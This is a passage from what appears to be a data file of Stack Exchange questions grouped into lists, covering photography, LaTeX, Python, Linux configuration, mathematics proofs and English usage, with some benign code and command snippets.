related, but hopefully not a duplicate of: \"Which is faster\" isn't the only case where these pop up.", "When is it appropriate to use that as opposed to which with relative clauses?", "What should one look for when buying a used film camera? I'm planning to buy a used Nikon F5. I have no experience with a film camera and I want to know what all should one be careful of before buying a used film camera and more specifically a Nikon F5.", "Why don't cameras show an \"accurate\" histogram? Why don't cameras show a histogram based on the RAW data rather than on the JPG preview? I know that a RAW file is not a viewable image and can't be displayed without applying curves and defining how the image should be interpreted. But why don't cameras show a histogram that accurately shows how much latitude I have in the image? For example when shooting high contrast scenes (for example at sunrise) I know that I can overexpose the highlights to a certain extent to retain detail in the shadows and bring those areas that appear clipped in the JPG preview back in post. But every camera I've worked with shows me the histogram based on the JPG preview and the picture style and tells me that those areas are clipped. Is there no way of seeing the actual dynamic range captured by the sensor? Why does no camera manufacturer implement that? It shouldn't be too difficult.", "Is there a way to \"auto login\" in PuTTY with a password? Is there a way to configure a password for a stored session in ? I know there is the capability to specify an \"auto-login username\" (under Connection/Data), but is there a way to do the same with the password?", "Do fluorescent lighting and shutter speed create a problem with color cast? I took a bunch of photos at my son's martial arts club using a D90 with a 50mm F1.8. The club is lit with overhead fluorescent lighting, and I was getting some weird results where some shots are \"white\", others have an \"orange cast\", and still others are partly white and partly orange in the same shot. I suspect it has to do with the combination of the frequency of the light flicker and with the camera shutter speed. Here is a sequence of 3 shots that show the problem. The shots were taken with 1/500s at F2 and ISO-800 and with Auto-WB. First shot (\"white/normal\"): Second shot (\"orange cast\" at top): Third shot (\"orange cast\" at bottom): These were taken in burst mode within a second of each other. Can anybody tell me what is going on? And, how I can avoid this?", "I have some simple python code that searches files for a string e.g. path=c:\\path, where the c:\\path part may vary. The current code is: def find_path(i_file): lines = open(i_file).readlines() for line in lines: if line.startswith(\"Path=\"): return # what to do here in order to get line content after \"Path=\" ? What is a simple way to get the text after Path=?", "I'm trying to typeset a table that would have a header in the first row (I'm not looking for a different/better solution to adding a header, but for a fix to this solution. Thanks). I want to achieve this by having a multicolumn cell spanning all the columns of the first row. The problem is that if the text is too long, the column widths are uneven, with the last column accumulating excess width. I would expect all of the columns to be of approximately the same width (although I cannot find a decent source that would say they should), given the fact that all the text in the second row is of approximately the same width. I find this behaviour quite puzzling and have no idea what the cause could be. I know I could perhaps remedy this by manually setting the column widths, but am curious as to how to fix this without doing that (I do not need or indeed want the columns to be of the same width, but roughly proportional to the length of their content), preferably but not necessarily by using the tabular environment only (some other conflict with the document class I am using). What is it that I'm doing or assuming wrong? And why? MWE: \\documentclass{article} \\begin{document} \\begin{tabular}{ccccc} \\multicolumn{5}{c}{This is a piece of text. The longer it is, the longer the last column.} \\\\ 1 & 2 & 3 & 4 & 5 \\\\ \\hline \\end{tabular} \\end{document} Resulting table. Notice how the last column of the second row accumulates excess width.", "How to configure Ubuntu as an LDAP client? How to configure Ubuntu 12.04 as LDAP client with PAM modules?", "prove that if $E$ is connected and $E \\subseteq F \\subseteq \\overline{E}$, then $F$ is connected. Define a set $A$ to be disconnected iff there exist nonempty relatively open sets $U$ and $W$ in $A$ with $U\\cap W = \\emptyset$ and $A = U\\cup W.$ Define a set $A$ to be connected iff it is not disconnected.(there are many equivalent definitions, but I want to prove this lemma using this one). Prove that if $E$ is connected and $E\\subseteq F \\subseteq \\overline{E},$ then $F$ is connected. Let $U, W$ be a separation for $F$. Find open sets $O_U$ and $O_W$ so that $U = F \\cap O_U$ and $W = F\\cap O_W.$ I claim that $E\\cap O_U, E\\cap O_W$ separate $E$. However, I'm unable to show that $U' = E\\cap O_U, W' =E\\cap O_W \\neq \\emptyset$ (I think this should be straightforward, but for some reason, I can't figure this out). Suppose $U' = \\emptyset.$ Then $E\\cap O_U = \\emptyset.$ Since $E \\subseteq F = U\\cup W = F\\cap (O_U \\cup O_W)\\subseteq O_U\\cup O_W,$ we have that $E \\subseteq O_W,$ so $E\\cap O_W = E\\subseteq F\\cap O_W = W\\subseteq F\\subseteq \\overline{E}.$ Observe that since $E\\cap O_U = \\emptyset, F\\cap O_U = (F\\backslash E)\\cap O_U\\subseteq F\\backslash E.$ Similarly, $W'\\neq \\emptyset.$ Clearly, $U', W'$ are relatively open in $E$. Suppose $U'\\cap W' \\neq \\emptyset.$ Let $x\\in U'\\cap W'.$ Then $x\\in E\\cap O_U\\cap O_W \\subseteq F\\cap O_U\\cap O_W = U\\cap W = \\emptyset,$ a contradiction. So $U'\\cap W' = \\emptyset.$ Also, $U'\\cup W' = (E\\cap O_U)\\cup (E\\cap O_W) = E\\cap (O_U \\cup O_W)$ and $E\\subseteq (O_U \\cup O_W),$ so $U'\\cup W' = E.$", "I'm trying to install pandas. When I do, it's automatically installing to the python installation for v 2.7. How do I force pandas to install to the python 3.5 installation?", "If $p$ and $q$ are distinct primes , prove that $$p^{q-1}+q^{p-1} \\equiv 1 \\pmod {pq}$$ Using Fermat's Theorem we can get $$p^{q-1} \\equiv 1 \\pmod q, \\qquad q^{p-1} \\equiv 1 \\pmod p.$$ After that I have no idea at all. Can anyone help me please", "How do I install LibreOffice 4? I want to download and install . How can I do this?", "How to open and convert CHM documents? I have some documents that are in a .chm format. I wondered if there is a file format that can be easier to navigate, supported and of equal file size in Ubuntu? If there is, I would like to start converting all those books and probably using them with less hassle on all my Ubuntu PCs and my Android phone.", "Some observations I made is for $\\frac{a}{b}+\\frac{b}{a}$, is either: the denominator has to be one, the numerator has to be a multiple of the denominator or the numerator and denominator have to be the same. Obviously, with the given conditions case 3 is eliminated since $a \\neq b$. For case 1, if $b=1$, then $a=1$ which is a contradiction to the given condition that says $a \\neq b$. For case 2, I would think of examples. For example if $b=2$ then a multiple is $4$, so $a=4$. Then we have: $$\\frac{a}{b}+\\frac{b}{a}=\\frac{4}{2}+\\frac{2}{4}=\\frac{10}{4}$$ which is not an integer, but how would i proceed to show this case for all integers.", "What is the difference between ethics and morals? I am currently writing an essay on artificial moral agents, and I need to explain the difference between ethics and morals. However, I am finding it really hard to find a good book or research paper which contains a citable definition. Could someone point me in the right direction?", "Calculate Euler equations of fluid dynamics without division? I'm working on the calculation of the with the . Unfortunately I'm not allowed to do a division. So I'm wondering if there's a form which does not need a division. At the moment the Euler equations look like this: $$ \\frac{\\partial}{\\partial t} \\begin{pmatrix} \\rho \\\\ \\rho v_1 \\\\ \\rho v_2 \\\\ \\rho v_3 \\\\ \\rho E \\end{pmatrix} = -\\mathrm{div} \\begin{pmatrix} \\rho v_1 & \\rho v_2 & \\rho v_3 \\\\ \\rho v_1^2 + p & \\rho v_1 v_2 & \\rho v_1 v_3 \\\\ \\rho v_2 v_1 & \\rho v_2^2 + p & \\rho v_2 v_3 \\\\ \\rho v_3 v_1 & \\rho v_3 v_2 & \\rho v_3^2 + p \\\\ (\\rho E + p) v_1 & (\\rho E + p) v_2 & (\\rho E + p) v_3 \\end{pmatrix} $$ As you can see, I first need to calculate $\\frac{\\rho v_1}{\\rho}$ to get $v_1$ so I can calculate e.g. $\\rho v_1^2$", "Is it bad behavior to add filler words such as \"so\", \"um\" in business speak?", "PrintWriter and PrintStream never throw IOExceptions", "$x^p-c$ has no root in a field $F$ if and only if $x^p-c$ is irreducible?" ]

[ "I know references are syntactic sugar, so code is easier to read and write. But what is the difference between a pointer variable and a reference variable?", "setSystemUiVisibility(SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION) does not work", "Learn Bayesian inference applied to astronomy / astrophysics?", "I'm using pdfLatex (with --shell-escape option) and I had a problem of compilation with TexWorks that was successfully solved with the help of other post in this site: . After correcting that error the code compiles smoothly but just displays the logarithmic grids, not the function. The gnuplot files are created in the right place, but the graphic doesn't come out in the PDF. Code from : \\documentclass{article} \\usepackage{tikz} \\usepackage{bodegraph} \\begin{document} \\begin{tikzpicture}[ gnuplot def/.append style={prefix={}}, % Fixed the issue (prefix was 'gnuplot/\\jobname/' before) ] \\begin{scope} \\UnitedB \\semilog{-1}{2}{-50}{60} \\BodeAmp{-1:1.35}{\\POAmpAsymp{4}{2.0}+\\IntAmp{1}} \\end{scope} \\end{tikzpicture} \\end{document} Any clues?", "I'm making a call: myResult = MakeMyCall(inputParams, out messages); but I don't actually care about the messages. If it was an input parameter I didn't care about I'd just pass in a null. If it was the return I didn't care about I'd just leave it off. Is there a way to do something similar with an out, or do I need to declare a variable that I will then ignore?", "in a file containing : ... 18-11-2018:othercharacters 10-11-2018:othercharacters 03-10-2018:othercharacters 30-10-2018:othercharacters 27-09-2018:othercharacters 03-12-2018:othercharacters ... the command : sort -t- -k2 -k1 does not sort by date, what am I missing ?", "Book: World covered in trees that are miles high", "Torque relationship to speed in a DC motor I have a conceptual doubt about torque-speed relation in a DC motors. It's probably a gap in my thinking but I'm posting this question anyway. Torque and speed in a DC motor are said to be inversely proportional. But doesn't an increase in torque result in increase in Angular Acceleration and consequently, angular speed? I know that back EMF/counter-EMF is responsible for the inverse relation but it seems counter intuitive to me. What happens to the angular acceleration, angular speed when the torque is increased and where does all that work go?", "What do you call a person who is utterly independent and a loner?", "Hamiltonian Monte Carlo for dummies Could you provide a step-by-step for dummies explanation of how Hamiltonian Monte Carlo work? PS: I've already read the answers here, , and here, , and here, and they do not address it in a step-by-step way.", "Is \"reserved\" an adjective or verb in this example? I need an answer about this sentence please: We had a reserved seat. Reserved in this sentence is a verb. I read that in a morphology book. My question is: how does this become a verb? I thought it was an adjective.", "Where can I find computer modern fonts for use in other programs, e.g. Adobe Illustrator? For some complicated diagrams, I need to use something like Adobe Illustrator or Inkscape, and would like to include nicely typeset labels. (I'm aware of post-processing solutions, such as pinlabel.) One way to do this is to use a closely-matching font, and then convert fonts to outlines. Better, however, would be to use Computer Modern directly in Illustrator. Where can I find a Computer Modern font compatible with Adobe Illustrator?", "Before we launched our website, we had set up a \"coming soon\" page and google picked up the title and description from its contents. So the description in the search results said: Coming soon! Visit example.org for updates. It's been a few weeks since we launched our website. We've even created a sitemap and submitted it to Google. In Google Search Console, the pages have been crawled and all the pages are appearing as expected on Google, EXCEPT the homepage which is still not updated! The title and description of the homepage in google search results still says \"coming soon.\".*** I checked on bing too, but it appears to be fine there. All other pages seem to be indexed fine on Google. I don't even have any crawl errors in my reports. So what seems to be the problem? I've already waited for 2 weeks.", "\"Less\" vs. \"fewer\" I've just received a memo which says (effectively) As more people leave, there will be less people available. I want that word to be fewer. Are there guidelines for which word ought to be used when?", "Can I use Wubi for manual installation? Is it possible to use Wubi for Ubuntu 13.04? I read that it will not be supported in the official release due to some problems. Is this going to change in the future, and can we expect to see a future release with support for 13.04?", "The Quotation Mark character in TeXworks editor has vanished Now, my version of TeXworks is 0.4.5r.1280 and I can't have the \" character on the keyboard. I have `` or '' instead. Why? And It's the same with Alt+034. I'm very disappointed with that.", "Does Power Word Kill kill druids in wild-shape?", "I think these terms almost refer to the same thing, when used loosely: terminal shell tty console What exactly does each of these terms refer to?", "Does it make a difference if your URL path ends in a trailing slash or not? Does it make any difference to SEO ratings what-so-ever if your url has a trailing slash: http://www.example.com/some/slug/paths/ as opposed to one that does not: http://www.example.com/some/slug/paths", "Reducing resolution of huge categorical raster in QGIS?" ]

[ "For what powers $k$ is the polynomial $n^k-1$ divisible by $(n-1)^2$? How do you prove this? $$\\left(n-1\\right)^2\\mid\\left(n^k-1\\right)\\Longleftrightarrow\\left(n-1\\right)\\mid k$$", "What is relationship of widower to late wife's family (i.e. in-laws)? I am a widower. I still have a strong personal relationship with my late wife's family, and I regard them as part of my own family. They are blood of my blood in the sense that my children are related by blood to both me and them, but if we had not had children, that link would not exist. My only direct relation to them was by marriage, and with my wife's death, it would seem that that bond no longer exists; at least not formally. Is there any enduring relationship by law or tradition for ex relations by marriage, and what would it be called? Also, what if instead of death, we had been separated by divorce? And what if I were to remarry, would that change my relationship to my first in-laws?", "How do I extract all the external links of a web page and save them to a file? How do I extract all the external links of a web page and save them to a file? If you have any command line tools that would be great.", "Texture Channel animated, doesn't appear in viewport I'm creating an educational video, and for efficiency, I'm using a Cyclic repeater to repeat an on-page/off-page effect. Every loop, I have the texture channel switch to the next image, rather than duplicating all the objects/animations. This works properly and appears when rendering the animation, but does not appear in the viewport. It sticks to the original UV image that was mapped. Is there a way to have this change appear in the viewport?", "Intuitively it's easy, but hard to prove by the epsilon-delta method: $$ \\lim_{n \\to \\infty} n x^{n} = 0$$", "Running junit tests in parallel in a Maven build? I'm using JUnit 4.4 and Maven and I have a large number of long-running integration tests. When it comes to parallelizing test suites there are a few solutions that allow me to run each test method in a single test-class in parallel. But all of these require that I change the tests in one way or another. I really think it would be a much cleaner solution to run X different test classes in X threads in parallel. I have hundreds of tests so I don't really care about threading individual test-classes. Is there any way to do this?", "Password protecting a page I'm trying to password protect a page but it doesn't seem to be working. I've set the password for the page but when you navigate to it it just loads up like normal and doesn't ask for any passwords. This is the loop I have on my page: <?php /** * @package WordPress * @subpackage Default_Theme * Template Name: Page */ get_header(); ?> <?php global $post; if ( post_password_required( $post ) ) { ?> <?php $fields = get_acf(); ?> <script type=\"text/javascript\"> (function() { window.onload = function() { ... }} ) </script> <div id=\"map\"></div> <?php } else { ?> Not passworded <?php if (have_posts()) : ?> <?php while (have_posts()) : the_post(); ?> <?php endwhile; ?> <?php endif; ?> <? } // Page isn't password-protected ?> <?php get_footer(); ?> I want to password protect everything within the page. UPDATE: I have custom content on the page so if possible I need to be able to wrap some code around it all. Update:", "Comaximal ideals in a commutative ring", "Dynamically Adding/Removing CSS in Nested Div", "I have read in a book that the limit of the ratio of consequent Fibonacci numbers is the golden ratio. However, it was just mentioned thus not justified. So, my question is how would you derive the following limit: $$\\lim_{x\\to\\infty}{\\frac{F_n}{F_{n+1}}}=?$$ Where $F_n$ is the nth Fibonacci number?", "Let $\\left| {{a_{ii}}} \\right| > \\sum\\limits_{i \\ne j} {\\left| {{a_{ij}}} \\right|} $.Why does $A$ is nonsingular? .", "When I ping I have this display: > ping -i 4 www.google.fr 64 bytes from wi-in-f94.1e100.net (173.194.67.94): icmp_seq=503 ttl=46 time=45.5 ms ....... ....... 64 bytes from wi-in-f94.1e100.net (173.194.67.94): icmp_seq=508 ttl=46 time=44.9 ms 64 bytes from wi-in-f94.1e100.net (173.194.67.94): icmp_seq=509 ttl=46 time=45.1 ms I'd like to have the time of the ping before. Something like: > (right functions) + ping -i 7 www.google.fr mardi 15 mai 2012, 10:29:06 (UTC+0200) - 64 bytes from wi-in-f94.1e100.net (173.194.67.94): icmp_seq=503 ttl=46 time=45.5 ms ....... ....... mardi 15 mai 2012, 10:29:13 (UTC+0200) - 64 bytes from wi-in-f94.1e100.net (173.194.67.94): icmp_seq=508 ttl=46 time=44.9 ms mardi 15 mai 2012, 10:29:20 (UTC+0200) - 64 bytes from wi-in-f94.1e100.net (173.194.67.94): icmp_seq=509 ttl=46 time=45.1 ms How would you do this in a command line (if it's possible)?", "What's the difference between \"these\" and \"those\"? First of all, I'm not a native English speaker, but in school I learned that these is used if referring to something near, and those is used when referring to something far away (temporally or locally). But now I'm sometimes watching English movies and notice sentences like \"Have you seen those boots?\" while the boots were only centimeters away. Is this just not correct, or have I learned the wrong rules? Another question is, what if I'm referring to something abstract such as ideas or thoughts so that I can't say if they are far away or not. Should I use those or these? Edit So it can't be really wrong in any case if I use these respectively those?", "I know there are many ways to prevent image caching (such as via META tags), as well as a few nice tricks to ensure that the current version of an image is shown with every page load (such as image.jpg?x=timestamp), but is there any way to actually clear or replace an image in the browsers cache so that neither of the methods above are necessary? As an example, lets say there are 100 images on a page and that these images are named \"01.jpg\", \"02.jpg\", \"03.jpg\", etc. If image \"42.jpg\" is replaced, is there any way to replace it in the cache so that \"42.jpg\" will automatically display the new image on successive page loads? I can't use the META tag method, because I need everuthing that ISN\"T replaced to remain cached, and I can't use the timestamp method, because I don't want ALL of the images to be reloaded every time the page loads. I've racked my brain and scoured the Internet for a way to do this (preferrably via javascript), but no luck. Any suggestions?", "Reviewer Stats showing wrong count I have totally reviewed 716 suggested edits, but it shows I've approved 486 suggestions and rejected 228. I searched about it on meta. But, can't get solution. I thought that some of my reviewed posts might get deleted. So, I went to the review history and found . It should be a bug.", "When I have equations, as in \\begin{equation} ... \\end{equation} Can I arbitrarily assign the numbers to the equations? Instead of the usual order (1), (2), (3), ..., I'd like something like (1), (2.1), (2.2), (2.3), (3.1), (3.2), (4), ...", "I know how to draw different shapes using tikz, like this: \\documentclass{minimal} \\usepackage{tikz} \\begin{document} \\begin{tikzpicture} \\draw (0,0) ellipse (1 and 1.5) (0,2.5) circle (1) (2.5,0) circle (1.5); \\end{tikzpicture} \\end{document} However, I would like to put a number of different shapes together inside a node, and I couldn't yet find a simple way to do that. I will make a little figure to include in a large diagram which is already made of several nodes. If this is not possible, or not easy, then how do I include a JPG or EPS file in a node? Thank you!", "My windows directory is huge I have always had problems with my windows directory's growing to a huge size. It started with windows 95 then 98 then 2000 and xp. Windows 7 however is absolutely huge. The windows folder itself with out program files is 21.4 gigs...add the program files and other windows files and it is a whopping 32 gigs. My question is why is it so large and what can I do about it. At the rate this is going I will be out of space in now time.", "Is $\\sin^2(z) + \\cos^2(z)=1$ still true for $z \\in \\Bbb{C}$? Is $$\\sin^2(z) + \\cos^2(z)=1$$ still true for all $z \\in \\Bbb{C}$? I've tried rewriting it using complex definitions of $\\sin$ and $\\cos$, and I don't see why it wouldn't, but the text I'm reading asks this question as if it shouldn't hold?", "In both the movies and comics Cap gains his peak human strength via the supersoldier serum and a does of vita rays, resulting in the rapid development of his super buff body: While the most obvious real world analogue would be the use of steroids, these would still require that the person taking them train extensively and significantly increase their protein intake in order to gain muscle mass. While there are frequent scenes of Steve training in both mediums I've yet to see any scenes of him eating a 12-egg omelette or downing protein shakes. Are there any in-world explanations that would account for the increased muscle mass? Extra-dimensional energy conversion?" ]

[ "How to make many copies of similar graphs systematically? I want to make various copies of a graph in tikz. The graph I want has 10 vertices. But only has the edges between the vertices a_i,a_(i+1),t,b. I would like to automatically create 8 copies of this graph. and draw them. I just don't know how to code it. Here is my current code, but it adds all of the edges to the same copy of the graph: \\begin{tikzpicture} [main_node/.style={circle,fill=blue!20,draw,minimum size=2em,inner sep=3pt]}] \\node[main_node] (8) at (0:0.5) {b}; \\node[main_node] (9) at (180:0.5) {t}; \\foreach \\x in {0,1,...,7} \\node[main_node] (\\x) at (360/8*\\x:2) {$a_{\\x}$}; \\foreach \\x in {0,1,...,7}{ \\pgfmathsetmacro{\\y}{int(mod(\\x+1,8))} \\path[draw,thick] (\\x) edge node {} (8); \\path[draw,thick] (\\x) edge node {} (9); \\path[draw,thick] (\\x) edge node {} (\\y); \\path[draw,thick] (8) edge node {} (9); \\path[draw,thick] (8) edge node {} (\\y); \\path[draw,thick] (9) edge node {} (\\y); } I want each of the edge sets to be drawn seperately.", "Let ${\\rm f}:\\left[a, b\\right]\\to\\mathbb{R}$ be twice differentiable, and suppose $$\\lim_{x\\to a^{+}} \\frac{{\\rm f}\\left(x\\right) - {\\rm f}\\left(a\\right)}{x - a} = \\lim_{x\\to b^{-}}\\frac{{\\rm f}\\left(x\\right) - {\\rm f}\\left(b\\right)}{x - b} =0 $$ Show that there exists $\\xi \\in \\left(a, b\\right)$ such that $\\displaystyle{% \\left\\vert\\vphantom{\\Large A}\\,{\\rm f}''\\left(\\xi\\right)\\right\\vert \\geq \\frac{4\\left\\vert\\vphantom{\\Large A}% \\,{\\rm f}\\left(a\\right) - {\\rm f}\\left(b\\right)\\right\\vert} {\\left(b - a\\right)^{2}}}$. I don't know how to start. Any hints ?.", "Sentences with \"no one\"", "I have a problem understanding the proof of Rencontres numbers (Derangements) I understand the whole concept of Rencontres numbers but I can't understand how to prove this equation $$D_{n,0}=\\left[\\frac{n!}{e}\\right]$$ where $[\\cdot]$ denotes the rounding function (i.e., $[x]$ is the integer nearest to $x$). This equation that I wrote comes from solving the following recursion, but I don't understand how exactly the author calculated this recursion. $$\\begin {align*} D_{n+2,0} & =(n+1)(D_{n+1,0}+D_{n,0}) \\\\ D_{0,0} & = 1 \\\\ D_{1,0} & = 0 \\end {align*} $$", "How to factor numbers that are the product of two primes", "In Python, you can do this: import webbrowser webbrowser.open_new(\"http://example.com/\") It will open the passed in url in the default browser Is there a ruby equivalent?", "Images broken on a Stack Overflow blog post On the blog post, nearly all the images are broken. I assume this is because they are all hosted on stackoverflow.blog/wp-content/uploads/ rather than zgab33vy595fw5zq-zippykid.netdna-ssl.com/wp-content/uploads/, and they got destroyed in the removal of Blog Overflow. I looked around at a few other blog posts, and this post seems to be the only one having an issue.", "Batch-Resizing images in OS X to a certain height", "How do I increase the render distance?", "If $A$ and $B$ are square matrices such that $AB = I$, where $I$ is the identity matrix, show that $BA = I$. I do not understand anything more than the following. Elementary row operations. Linear dependence. Row reduced forms and their relations with the original matrix. If the entries of the matrix are not from a mathematical structure which supports commutativity, what can we say about this problem? P.S.: Please avoid using the transpose and/or inverse of a matrix.", "Basis of cotangent space", "Why do shell script comparisons often use x$VAR = xyes? I see this often in the build scripts of projects that use autotools (autoconf, automake). When somebody wants to check the value of a shell variable, they frequently use this idiom: if test \"x$SHELL_VAR\" = \"xyes\"; then ... What is the advantage to this over simply checking the value like this: if test $SHELL_VAR = \"yes\"; then ... I figure there must be some reason that I see this so often, but I can't figure out what it is.", "Creating a unique alphanumeric 10-character string I'm looking to create a simple short-lived reservation system, and I'd like to generate confirmation numbers that are unique random-looking alphanumeric short-ish, at least much shorter than 32 character-long strings returned by sha1 I'm only looking to have ~500 reservations, so I don't imagine high likelyhood of collissions. One idea I had is generate an sha1 hash based on a date-time stamp and username, then truncating it to its first 10 characters. Would something like that be reliably unique enough for the purposes of processing ~500 reservations?", "Why does gulp.src not like being passed an array of complete paths to files?", "Family name pluralization", "Making a Laser in Cycles - Straight Beam of Light?", "Resizing an Image without losing any quality", "Finite Series - reciprocals of sines Find the sum of the finite series $$\\sum _{k=1}^{k=89} \\frac{1}{\\sin(k^{\\circ})\\sin((k+1)^{\\circ})}$$ This problem was asked in a test in my school. The answer seems to be $\\dfrac{\\cos1^{\\circ}}{\\sin^21^{\\circ}}$ but I do not know how. I have tried reducing it using sum to product formulae and found out the actual value and it agrees well. Haven't been successful in telescoping it.", "How can I shorten my command line (bash) prompt?", "How to select the nth row in a SQL database table?" ]

[ "Terminal, how to quit --More-- list", "I found a feature request at but it doesn't seem easy to get a column view with Nautilus while with Mac OS X it's a default feature. Have I missed something or is this not currently possible?", "Currently, if you access a deleted question you will get a short message informing you that the question has been deleted. However, if you click on a direct link to a deleted answer or comment (which you can get via notifications), nothing is displayed. This is naturally quite confusing as you will get the message about a new answer or comment via notifications, click on the link and simply see nothing. Therefore, I propose to display some sort of message to the user, informing her/him that the answer or question has been deleted. Note that this is different from always showing a deleted answer/comment, as I specifically request it in case you access the specific URL. One example for a comment would be: One example for a deleted answer is: This question is related to , but requests a feature to circumvent the problem altogether.", "What is the difference between a parameter passed by reference a parameter passed by value? Could you give me some examples, please?", "A question was asked in one of my friend's interview. The question was to determine the right form from the below sentences. Q. Correct form of English: Samuel was with Susan and I Samuel was with Susan and me Samuel was with I and Susan Samuel was with me and Susan None of these Now I vaguely remember a rule of thumb from my school days. That is \"2-3-1\" i.e. where all the persons are acting in a sentence, second person comes first, then third person and it is followed by first person. So according to this theory, 1 seems to be correct to me. Is this theory correct?", "What would happen if the earth would stop spinning? How much heavier would we be? I mean absolutely stop spinning. How much does the centrifugal force affect us? If you give technical answers (please do), please explain them in laymen's terms, thanks. Edit: I am asking what would be different if the earth were not spinning. Nevermind the part about it stopping.", "If $X_n \\stackrel{d}{\\to} X$ and $c_n \\to c$, then $c_n \\cdot X_n \\stackrel{d}{\\to} c \\cdot X$ Let $X_n$, $X$ random variables on a probability space $(\\Omega,\\mathcal{A},\\mathbb{P})$ and $(c_n)_n \\subseteq \\mathbb{R}$, $c \\in \\mathbb{R}$ such that $c_n \\to c$ and $X_n \\stackrel{d}{\\to} X$. Then $c_n \\cdot X_n \\stackrel{d}{\\to} c \\cdot X$. Here is my proof: By Lévy's continuity theorem it suffices to show that $$\\forall \\xi: \\quad \\hat{\\mu}_n(c_n \\cdot \\xi) \\to \\hat{\\mu}(c \\cdot \\xi) \\qquad (n \\to \\infty)$$ where $\\hat{\\mu}_n$ (resp. $\\hat{\\mu}$) denotes the characteristic function of $X_n$ (resp. $X$). Using the tightness of the distributions one can show that $\\{\\hat{\\mu}_n; n \\in \\mathbb{N}\\}$ is uniformly equicontinuous. We have $$|\\hat{\\mu}_n(c_n \\cdot \\xi) - \\hat{\\mu}(c \\cdot \\xi)| \\leq |\\hat{\\mu}_n(c_n \\cdot \\xi)- \\hat{\\mu}_n(c \\cdot \\xi)| + |\\hat{\\mu}_n(c \\cdot \\xi)- \\hat{\\mu}(c \\cdot \\xi)|$$ The first addend converges to zero as $n \\to \\infty$ by the uniform equicontinuity and the second one converges to zero since $X_n \\stackrel{d}{\\to} X$. I was wondering whether there is an easier proof - my own proof seems rather like overkill to me. Thanks!", "Should questions having lots of downvotes be downvoted further? Is down-voting an already heavily down-voted/closed question kind of like kicking a dead horse? Is this bad practice?", "Call to a member function on a non-object So I'm refactoring my code to implement more OOP. I set up a class to hold page attributes. class PageAtrributes { private $db_connection; private $page_title; public function __construct($db_connection) { $this->db_connection = $db_connection; $this->page_title = ''; } public function get_page_title() { return $this->page_title; } public function set_page_title($page_title) { $this->page_title = $page_title; } } Later on I call the set_page_title() function like so function page_properties($objPortal) { $objPage->set_page_title($myrow['title']); } When I do I receive the error message: Call to a member function set_page_title() on a non-object So what am I missing?", "Why didn't Sauron become invisible while wearing the One Ring? I'm curious as to why Sauron is the only being/person shown wearing the One Ring who does not become invisible? Isildur, Gollum, Bilbo, Frodo, and Samwise all become invisible while wearing the One Ring. Why didn't Sauron become invisible while wearing the one ring? I became interested after reading Pearsonartphoto's question asking what effect wearing the One Ring would have had on .", "If I am thinking about using one of the 'fancy' top level domains such as .me or .tv should I be worried about how Google treats such domains? Or to put it another way, if all other things are equal (good content, links etc.), will Google regard a .tv or .me as equal to a traditional .com or co.uk site?", "When is Gauss' law not applicable?", "What is the difference between would and will in the following examples? How would you use this word in a sentence? How will you use this word in a sentence?", "Let be the next equivalence relation on $B= \\{R \\subseteq \\mathbb{N}\\times\\mathbb{N} \\ | \\ R \\ is \\ a \\ well-order \\ on \\ \\mathbb{N}\\}$ : $$\"R \\equiv R' \\leftrightarrow \\ (\\mathbb{N},R) \\cong (\\mathbb{N},R') \\ are \\ well-ordering \\ sets \\ isomorphic\" $$ Which is the cardinality of $B/\\equiv$? Firstly, we can notice that each well-ordering set is isomorphic to an ordinal $\\alpha \\ $such that $\\alpha < \\aleph_{1}$, and so it is enough to count how many ordinals are isomorphic to a subset of $\\mathbb{N}$. For example, if we consider $A$ the set of the even numbers and $B$ the set of odd numbers with the usual order relation, $A \\oplus B$ is isomorphic to $\\omega + \\omega$. Another example could be: if we consider the order of $\\mathbb{N}$ that we use in Sharkowski Theorem, that order is isomorphic to $ \\omega^{2} + \\omega$. Working with prime numbers we could build also $\\omega^{n} \\ \\forall n \\in \\mathbb{N}$, and so $\\omega^{\\omega}$ and maybe something bigger. However, we know that each countable ordinal is isomorphic to a subset of $\\mathbb{Q}$, but I bet that the same result is not true for $\\mathbb{N}$ because it is \"too small\". What can I do?", "t-test or z-test: assume normality or s≈σ? Let's say I have a large sample ($n>30$) with mean $\\bar{X}$ and standard deviation $S$. I can calculate only: $T=\\frac{\\bar{X}-\\mu}{S/\\sqrt{n}}$. If I want to use t-test for a hypothesis, then I have to assume normality of the population. If I want to use z-test for a hypothesis, then I have to assume that $\\boldsymbol{s\\approx\\sigma}$. What is the less important assumption? What test should I do? Should I do t-test, z-test or doesn't matter?", "What is approximate error of Pythagorean Theorem vs. Haversine Formula in measuring distances on sphere at various scales? Many people when first trying to calculate distances between two longitude / latitude pairs ask if Pythagorean theorem works as an appropriate distance function. Most often people answer \"no, the Pythagorean theorem only works on a 2D Euclidean plane.\" Rarely, however, do people mention the effect of scale and location on the sphere on how inaccurate the Pythagorean theorem is. The basic idea being at very small scales, the surface of a sphere looks very much like a plane. At very large scales, it distances along the surface are more curved and therefore the difference between the incorrect Pythagorean Theorem and the correct Haversine Formula is greater. Does anyone know a formula or rule of thumb that tells you the difference between the two distance measures based on the scale of the distance you are trying to measure? I think having this explicitly would help in: explaining why the Pythagorean Theorem isn't perfect; and in letting people who are looking for more \"rough\" distances know when Pythagoras actually will serve their purposes.", "Where can I find the Ivory Claw to open a door in Reachwater Rock?", "I tried to create a Windows 10 USB boot medium with WoeUSB. I formatted a USB drive with an NTFS partition, but WoeUSB complains with: Installation failed! Exit code: 256 Log: WoeUSB v@@WOEUSB_VERSION@@ ============================== Mounting source filesystem... Error: File \"/media/woeusb_source_1543626298_6098/sources/install.wim\" in source image has exceed the FAT32 Filesystem 4GiB Single File Size Limitation and cannot be installed. You must specify a different --target-filesystem. Refer: https://github.com/slacka/WoeUSB/wiki/Limitations#fat32-filesystem-4gib-single-file-size-limitation for more info. Unmounting and removing \"/media/woeusb_source_1543626298_6098\"... You may now safely detach the target device I've also tried to start WoeUSB via command line, did not work. sudo woeusb --partition Win10_1809Oct_English_x64.iso /dev/sdb My iso is located in: home/sawyer/Downloads/Win10_1809Oct_English_x64.iso Thanks in advance! I've been trying to get windows installed for three nights now, so any help towards that goal is greatly appreciated.", "How can I find local IP addresses (i.e. 192.168.x.x or 10.0.x.x) in Python platform independently and using only the standard library?", "Conjectures Involving floor(x)/piecewise continuity with regards to Integration and Differential Equations [This answer has been heavily edited in response to a long chain of comments on Eric Stucky's answer.] I came up with these few theorems and I am curious whether or not my hypothesis are true. I don't really have a method for proving these, mind you. I'm more considering these as things I've noticed to be true. I just don't know whether they are always true. Some of these are definitions to which I will append \"def.\" to the end of the title. Think of these as a given. It's like how the integral is 